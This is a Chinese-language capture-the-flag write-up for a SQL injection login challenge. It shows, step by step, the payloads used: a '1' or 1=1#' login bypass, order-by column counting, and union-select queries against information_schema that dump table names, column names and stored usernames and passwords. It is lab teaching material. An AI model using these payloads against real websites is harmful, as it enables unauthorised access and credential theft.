根据题目的名字,明显是一个SQL注入的题目,打开网页,发现是一个登陆界面,先测试一下注入点,用常用的“ ’ "试试,成功。接下来用万能密码登陆:
1' or 1=1#
随便输进去一个,另外一个填什么都可以。
并没有得到flag,观察URL,是以get传参的方式来注入的。近下来就是常规的先用order by来爆出有多少个字段,当尝试到4时报错,说明有3个字段:
1' order by 3# //当在url中进行时#为%23,密码随便输
接下来就是用联合查询找出回显点了(以下均为在url中注入,登录框太短看着不方便),
?username=1' union select 1,2,3%23&password=ads
得到回显点为2、3;
然后爆出数据库名:
?username=1' union select 1,database(),2%23&password=ads
得到数据库名为greet;
接着就该爆出表了:
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
得到两个表的名字:geekuser 和 l0ve1ysq1;
接着爆字段:
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=ads
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
两个表爆出的字段是一样的,最后就是爆出两个表中的数据了:
?username=1' union select 1,database(),group_concat(id,username,password) from geekuser%23&password=ads
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
分别爆出两个表内的数据,就可以找到flag了。注意,flag在第二个表中,注意找哦。
关于常规的回显注入可以参考一下这篇文章:
https://www.cnblogs.com/ihacker/p/11055191.html
(若作者介意请私信联系删除!!!)